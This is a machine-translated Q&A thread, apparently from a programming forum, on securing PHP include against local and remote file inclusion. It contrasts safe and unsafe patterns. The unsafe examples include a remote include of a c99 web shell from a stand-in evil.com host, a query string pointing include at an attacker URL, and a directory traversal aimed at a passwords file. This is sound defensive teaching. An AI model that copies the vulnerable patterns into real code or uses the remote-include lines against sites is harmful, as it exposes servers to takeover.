Я использую функцию «include» (ex «include» header2.php »или« include »class.users.php»), чтобы добавить класс заголовка или сеанса на моем веб-сайте. Я действительно не помню, где, но я слышал, что хакеры злоупотребляют каким-то образом этим «включением», отправляя поддельную страницу или что-то в этом роде. Поэтому в основном я хотел бы знать, что с этой функцией «включить», как я могу ее защитить, как они злоупотребляют ею, и если есть лучшие решения для того, что я ищу.
Заранее спасибо.
Все зависит от того, как вы его реализуете. Если вы конкретно задаете путь, тогда он безопасен. Атака может произойти, если вы разрешаете пользователю вводить путь к файлу без дезинфекции или проверки.
Небезопасный ( обход каталога)
<?php include($_GET['file']); ?>
Небезопасный ( URL fopen – если включен)
<?php include('http://evil.com/c99shell.php'); ?>
в<?php include('http://evil.com/c99shell.php'); ?>
небезопасный
<?php include('./some_dir/' . $_GET['file']); ?>
Частично небезопасно (файлы * .php уязвимы)
<?php include('./some_dir/' . $_GET['file'] . '.php'); ?>
Безопасный (хотя и не уверен, почему кто-то это сделает).
<?php $allowed = array( 'somefile.php', 'someotherfile.php' ); if (in_array(basename($_GET['file']), $allowed)) { include('./includes/' . basename($_GET['file'])); } ?>
Безопасный
<?php include('./includes/somefile.php'); ?>
в<?php include('./includes/somefile.php'); ?>
Самая большая проблема с включением, вероятно, изменяет расширение имени файла из PHP на то, что не автоматически выполняется веб-сервером. Например, library.inc или config.inc. Вызов этих файлов с помощью веб-браузера будет показывать код вместо его выполнения, и будут показаны любые пароли или полезные подсказки.
Сравните config.php, который может содержать в нем пароль с config.inc . В большинстве случаев вытягивание config.inc в большинстве случаев показывает, что такое пароль базы данных.
Существуют программисты, которые используют расширения .inc для библиотек. Предпосылка заключается в том, что они не будут находиться в каталоге, доступном веб-серверу. Тем не менее, меньшие программисты-параноики могут сбрасывать этот файл в удобный веб-каталог.
В противном случае убедитесь, что вы не включили файл, который был отправлен с помощью строки запроса каким-либо образом. Пример: include( $_GET['menu_file'] )
<- это очень неправильно.
Include можно злоупотреблять, если вы выполните что-то вроде этого:
include($_GET["page"]);
а затем вызовите URL-адрес:
myscript.php?page=index.php
злоумышленники могут затем заменить index.php
на hxxp://hackerz.ru/install_stuff.php
и ваш сервер с радостью запустит его.
include
себя совершенно безопасно. Просто убедитесь, что вы всегда проверяете / избегаете ввода.
Любая сторона сервера (при условии, что ваш сервер не скомпрометирован) безопасен. Делая это:
$var = $_GET['var']'; include $var . ".php";
небезопасно.
include "page.php";
безопасен.
Лучше всего сделать, чтобы страница, которую вы пытаетесь включить, существует в первую очередь. Реальные лазейки безопасности приходят, когда ваша страница включения обрабатывается из какого-либо пользовательского ввода, такого как переменная URL. ?include=page.php
Пока вы осторожны, вы должны быть в порядке.
if(is_file($file)) { //other code, such as user verification and such should also go here include $file; } else { die(); }
Включить безопасно, если вы этого не сделаете:
www.someoneelsesssite.com/something.php
www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
2 и 3 технически имеют оговорку, что если вы откажетесь .
или /
или на windows \
вы, вероятно, в порядке. Но если вы не знаете, почему, вы не знаете достаточно об этом, чтобы рисковать. Даже если вы считаете, что база данных только для чтения или иным образом защищена, разумно не предполагать, что, если вам действительно не нужно, что почти никогда.
Как указывает ответ pp19dd. Также важно, чтобы вы назвали свои расширения с расширением .php. Если вы установили apache (или какой-либо веб-сервер, который вы используете), чтобы проанализировать другой тип файла как PHP, это тоже безопасно. Но если вы не знаете наверняка, используйте .php исключительно.
Я использую этот метод.
<?php include (dirname(__FILE__).'/file.php');